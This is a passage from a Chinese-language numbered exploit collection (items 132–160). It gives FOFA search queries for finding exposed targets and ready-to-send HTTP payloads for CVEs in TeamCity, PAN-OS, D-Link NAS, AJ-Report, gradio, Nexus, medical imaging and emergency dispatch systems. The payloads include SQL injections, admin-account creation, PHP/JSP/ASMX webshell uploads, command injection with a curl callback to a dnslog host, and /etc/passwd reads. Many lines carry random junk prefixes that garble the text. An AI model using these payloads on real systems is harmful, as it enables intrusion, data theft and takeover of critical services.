) b1 m  G8 p3 J: V( u9 X2 u后台地址：http://localhost:8080/tmall/admin
* E9 Q/ W/ B$ t& b& qhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
# b: B  ~$ B1 ^+ f' I1 p5 X& [
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
& Y! O3 ]# e, Z7 ~" oPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
# t& w3 [& X4 q. kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
7 H6 ]3 c6 f$ h* }2 vContent-Type: application/json
Accept-Encoding: gzip, deflate
2 o% h: Q, }) G8 D
$ L" ~. W* j! L3 s{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
% t% \6 O6 l. z7 n1 j, s  Y5 H' S
) |$ f9 s+ ?2 N: L- h. G
CVE-2024-27199
/res/../admin/diagnostic.jsp
; v6 _" h0 e  p8 k7 E/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py

1 ]* J! g) J. f) a, G/ d  a" @133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
" A* R) x4 x( B6 w+ f1 \0 [POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
& v2 h. e) \# D2 E: y5 l4 iHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
% b& ^- O$ }- j- H+ l! d5 t
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
8 ?  t+ S' \" m' }2 m1 W; }9 o# \Content-Type: application/octet-stream
$ u' w- t( v( O1 U4 E
% w9 l: W& E' X, Z3 ?6 X7 F<?php system("cat /etc/passwd");unlink(__FILE__);?>
: \9 k4 k/ ^5 L& c2 c6 E------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

6 T3 B& H3 ^# k* a. L# B
1 T1 f* k4 K! A) F* \
& f' @, i6 a- e6 x# u7 F: B+ W134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
# d/ U  y* }8 {FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
" {! M8 s* P5 f& n" S1 `2 j/ IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
2 x* X5 g9 Z: z, Z2 V" LAccept: */*
1 `7 F( p0 u) \' ]. I3 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
: W8 v' A% V4 o+ {$ c% d2 \Content-Type: application/x-www-form-urlencoded
Content-Length: 263

* o4 \# m- m* A/ t6 m# ^# X+ Tjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


% A5 }' k, u& @; x& H135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
$ Y2 S, H, E, uCVE-2024-2022
2 B' W  j0 ~$ q: P9 _- G+ i) o9 VNetentsec NS-ASG Application Security Gateway 6.3版本
, |8 G; ]4 n5 NFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. W& s0 V1 m( E0 D& `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 d; u& S9 J# _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ H' X0 Z) s0 \; O- E& w  [. rConnection: close
- b3 R! P% Z$ z6 h6 L) {
9 _8 R* ^" ^, E
+ J4 R8 |0 F1 p: v136. NextChat cors SSRF
CVE-2023-49785
* `- r( Z3 w9 h4 BFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
2 g( s' U! q& V- u9 @0 G2 ]7 KHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
( l- ~: t! k1 i" T* ?$ a% \6 B) XAccept-Language: en
Accept-Encoding: gzip
2 e& u, H7 N3 Z2 V
, S* I) b# t8 w- x! ^' ?
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- K% d: [) f+ zGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
; P& e5 z- H: K4 w) eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
7 \6 k% K$ k6 ]# `4 d2 pCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
7 k8 t$ `- N: T+ Q( ^' k- R1 nUpgrade-Insecure-Requests: 1


6 c9 P! m0 ?$ X138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
' e" u: [+ I6 Y9 aCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; K4 ?& ]  Q7 c; TGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 [  ?9 f% q# M: ]$ h5 U8 D( f2 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. s% h/ ^+ W5 B- }7 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) z4 w* G1 z$ G) J5 BAccept-Encoding: gzip, deflate, br
Connection: close
  t) e( t& l  k. j8 K7 bUpgrade-Insecure-Requests: 1
2 [) I! h$ h# K) e+ C) {( p

6 f9 c1 I8 x! c. o: h139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
$ Q, B2 N/ o% q! e" jFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% o5 g8 R/ W; |6 ^. dGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
, R9 {4 d8 q% d; R0 j  k; I% _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; r  o9 X# S+ yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& n5 E9 _$ [- w! E' e2 {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: }# a* L7 R  n9 N7 Q& o2 k8 D& gAccept-Encoding: gzip, deflate, br
Connection: close
4 S. s& S  `6 M3 fCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
* Z5 w  u& e) l) ^( }- \( r6 wUpgrade-Insecure-Requests: 1
- V1 }- n# Z( o% c" p1 W2 b/ |
: G" N8 W2 G; A4 ?+ m( R
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# Q! j+ j. I) l" p, f* `% m$ iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 u- g" U' N' k: U- H# DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! ~' g, o3 ^! M/ I6 BAccept-Encoding: gzip, deflate, br
0 n( v9 [+ z! X& C) `4 GConnection: close
Cookie: authcode=h8g9
$ k6 X0 J: w) V$ J3 y, z0 q8 D5 ^2 n$ tUpgrade-Insecure-Requests: 1

" i, o8 W/ \8 I
: S1 g6 M) V) x! u( z3 A9 _+ Q141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
) h+ S) T4 [1 sPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
0 y, j8 q& `/ X/ E9 s. vUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

- D) B! u0 Y; q
3 {. L. g% a" }( |# B& q, gdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

5 ]& o" o) r7 o6 H
) J2 O( p) b# r- s142. CMSV6车辆监控平台系统中存在弱密码
4 M" j/ k5 h! H( i1 iCVE-2024-29666
* a# t0 N1 H4 K& v+ z! sFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
5 j! G" B8 G  g) A) p( m, zFOFA：title='AP setup' && header='netis'
5 ]) V  t; j! nPAYLOAD
! x. I! u* @1 o7 s- X! F  ~1 d
144. D-Link nas_sharing.cgi 命令注入
6 N# D3 H+ Y0 IFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
: P+ S' Y9 s2 Y2 g( B( z8 w0 ZGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
9 F+ ?: d3 Y: PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
8 n! n& g- Z0 g) b2 E: i1 }% h2 WAccept: */*
Accept-Language: en
Accept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
) m" k" \- z7 D2 v" ^: g4 n  U; bFOFA：icon_hash="-631559155"
9 J0 f* J+ i, J$ X9 ^+ nGET /global-protect/login.esp HTTP/1.1
$ r7 _# x) _% E- [7 ~* ^7 r8 tHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
7 T8 L6 S7 j0 c. A3 Q' I1 AConnection: close
2 h6 r2 i/ g- w$ H" [+ B( }Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
; X, N' g8 ^: Z' M6 w: z

6 g! C9 D3 U# Z- D+ O146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
9 B: x* }1 [6 k% x! J$ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
! U1 u" j! ]3 t& R& E. mAccept-Charset: utf-8
; ?+ H: @2 n) |6 M0 R) ~1 ]Accept-Encoding: gzip, deflate
Connection: close
: \5 v1 |4 w( X. v- U, }( B

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
1 b7 a2 W; U0 Z0 a, P. G# M: N* p. R4 ?% aFOFA：body="RaidenMAILD"
( A9 d: e# y$ u# t7 J, O0 xGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
0 n' Q' t5 B/ G" Y. X0 ]& n' N2 |Cache-Control: max-age=0
Connection: close

7 c) F0 i8 ]' J  \0 |# n
2 W4 B* |! r7 V2 J( x3 g: V148. CrushFTP 认证绕过模板注入
" h5 z1 a5 Q9 P, lCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
+ W$ _7 \) i( D6 @7 O
149. AJ-Report开源数据大屏存在远程命令执行
4 |; f% z' a6 V; S7 v' A$ T" L1 zFOFA：title="AJ-Report"
0 |3 L1 r( Q4 k
! e( F" D* S8 g1 {$ c3 zPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ L' }: I- L! ]5 F6 HHost: x.x.x.x
; c) t9 j( I7 ^; o5 E9 K0 D( vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 W. N4 w% X  s+ r! K2 C& oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
! G& e3 U# R/ U, K9 ]Connection: close

6 u/ |# c$ b& M* @- z{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
9 i: r1 ~( ?/ Z; C# j6 a4 A( k5 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
3 C4 c: x- [& N; `* |; I1 gContent-Type: application/json;charset=UTF-8
: h$ l5 M  O2 ~Connection: close
Content-Length: 339
% v1 a$ Y) W: q' E# z1 G
+ b/ J4 s0 F0 e! `0 d& W/ @{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


$ n) g7 @5 C7 c2 d! F7 V7 F151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
" N/ Z9 R$ s/ S0 BGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
9 b( d5 V( e; C& V$ F8 P% HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 S% u5 l; N& y$ K6 H: K- g; iAccept-Encoding: gzip
7 K, b6 z$ G- n0 C0 P6 X

152. Progress Kemp LoadMaster 远程命令执行
; u  d' Y/ b) }& A( R; rCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
: _+ X' C5 O2 {0 I3 KLoadMaster<=7.2.54.8 (LTSF)
# y. }: j; c  F' WLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
% L: B0 X/ e! Y: V/ M$ N% _JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
: x! k) o$ U6 }  fGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
! V# B2 R, S, Q9 i- KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
# L% \) e1 S9 K. q, _5 g5 YAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
* D% V4 U/ ~( t0 D2 p5 l4 i# mAccept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
* ~$ F) U9 a/ w$ x) {8 D' m第一步，请求/config文件获取componets的id
! g! P0 b5 Y- ?- Bhttp://x.x.x.x/config
& h0 X$ a0 W, L, a; v
/ N% @) f- t" z& \& B
第二步，将/etc/passwd的内容写入到一个临时文件
2 L% u) h. ]3 X  K+ ZPOST /component_server HTTP/1.1
9 |1 D* I# i$ J: a8 d* lHost: x.x.x.x
& l- W2 T  v4 ]2 [2 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
# T* F" Q! [" h3 i3 b9 A! S3 C) BConnection: close
Content-Length: 115
: ^* k9 g. j$ B; w. y& g5 o8 r9 cContent-Type: application/json
/ B: e$ L) @' H5 i2 M/ n9 W  h% ^Accept-Encoding: gzip
9 g4 Q; }0 t: L1 R
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
# X" H' \/ J8 k: ?

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


! y7 M9 y5 a5 q1 q! O! F154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
8 c$ @. e3 }' k6 T+ \, o$ FCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
( }. Y8 o! i) |! a8 t* p# dOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% f7 \. ]( b. D4 h+ l0 Y8 @  jReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
) {: d' ]$ M  n/ q5 xAccept-Encoding: gzip, deflate
0 p) b2 {$ z# a8 ^( BAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
% n: b" g7 q; x  s" J! K+ f$ gConnection: close

( G0 x) k1 g7 L' l1 }- n7 N) M3 J$ b{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

1 p) M* {% w2 [2 i5 @  t/ F1 K
155. 六零导航页 file.php 任意文件上传
7 D1 c! t$ O9 H( l& TCVE-2024-34982
; I2 c8 E2 C  w/ S; RFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
" z8 k! R( c0 L& Z: ~' A2 w0 k: ^. lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
0 @: p' N7 Z3 F8 n/ YContent-Length: 232
; g# t# a% Q1 u: `* J' V. m( P+ WAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ Q7 v5 g( ~2 S2 JContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
9 I& F( A5 u) ]" R6 s3 b3 \2 TX-Requested-With: XMLHttpRequest

* y6 X, @7 _+ r  s# x-----------------------------qttl7vemrsold314zg0f
0 ]! W& Y& K$ z0 \Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
0 G; }( s+ p$ Y, O: u6 y
$ p2 j1 N3 |0 p/ p5 X& }<?php phpinfo();unlink(__FILE__);?>
& O( y- L; G* k  w1 H5 L/ T-----------------------------qttl7vemrsold314zg0f--


访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
& Y) ~! V4 }- c) ?5 _9 L
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
4 o; {- o8 W4 J$ @$ D
( T" Q7 d' A/ S3 g6 j* I" T
8 ]& b! X4 m, D  p7 MPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  M' S2 Y* Q/ u! M: n. s% Q8 tContent-Length: 0
) C7 v1 T$ F3 d' F% Z+ e; h( o9 zCookie: uid=1
2 S; ~( @( l5 ^/ e8 uAccept-Encoding: gzip
  u  }# c1 l+ V+ L. T

  E" `& u8 w/ X" I( [! w157. 美特CRM upload.jsp 任意文件上传
+ c7 z. I# U4 L% QCNVD-2023-06971
% x5 T5 E9 s) ^FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
& o: n. E5 L* w* Q6 ]Host: x.x.x.x
3 J; O3 B. M& K0 r0 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
0 C4 Z, u# B+ R. H$ yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' p% c$ H) g7 d7 s$ W  A- B9 NAccept-Language: zh-CN,zh;q=0.9
6 ]! e4 D1 G( `9 N2 n+ }$ sCache-Control: max-age=0
8 b% G6 `, U- r. p( `& ~Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
$ v  F/ X9 Y4 A+ A
( m. ?# e8 h7 V. B' ]------WebKitFormBoundary1imovELzPsfzp5dN
! O* y4 @0 d; s! p& E- zContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

' p3 A8 A8 \0 Wnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
8 [% Q7 ^6 @& J5 V, m" F0 P------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

5 d- H& _7 k0 u+ n3 qnull
------WebKitFormBoundary1imovELzPsfzp5dN
: x. F, g0 D3 G- N7 jContent-Disposition: form-data; name="field"

2 H% I7 V+ j' J- x, |3 Jnull
------WebKitFormBoundary1imovELzPsfzp5dN
2 @: t4 P& f9 OContent-Disposition: form-data; name="filetitile"

7 l6 G' J* D& a- O% M5 j4 C- T7 mnull
------WebKitFormBoundary1imovELzPsfzp5dN
" @; ]7 K3 x% D. i8 `Content-Disposition: form-data; name="filefolder"
0 i# O/ n) R5 n
) O9 Z1 c/ Y8 T, R+ u5 ]null
------WebKitFormBoundary1imovELzPsfzp5dN--

9 i7 O! S% A' x" |8 N
1 D; O- K' |! Jhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
+ r  U+ W$ ^4 F& _/ JPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
" j: {1 V2 n% L$ w- A: EHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
. e' h5 o! F; r0 l2 c

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
  B* d; m9 O) RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
- j) \! L. l+ U: \! C0 VConnection: close
% r- o, H6 r1 O7 }0 EContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
9 A, P0 ~# U3 b& s6 g
' v% i/ H# S8 u2 l9 ], N* i<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ @7 d# g: u5 E, c6 G2 B<soap:Body>
$ o* b( s; T- p<jobUpload xmlns="http://rainier">
2 B3 u6 l. P6 y7 Y& n$ d<vcode>1</vcode>
5 i$ E( \  j* H1 I& K7 m<subFolder></subFolder>
% k% [- d0 u. J7 u. O<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>


, D- L2 ^, r* M: z! s8 S/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

) d. }' j/ {, ^
160. Sonatype Nexus Repository 3目录遍历与文件读取
4 |' w. C$ W$ r5 [6 N" eCVE-2024-4956
FOFA：title="Nexus Repository Manager"
1 ^- J* F. X7 H! p! G( O5 v; D: JGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
) [7 |  o  e; E  b- i  YUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
* z* {/ i1 F+ r$ {; _; f; m# LConnection: close
) B* i) B( ?2 b2 M! }  j% FAccept: */*
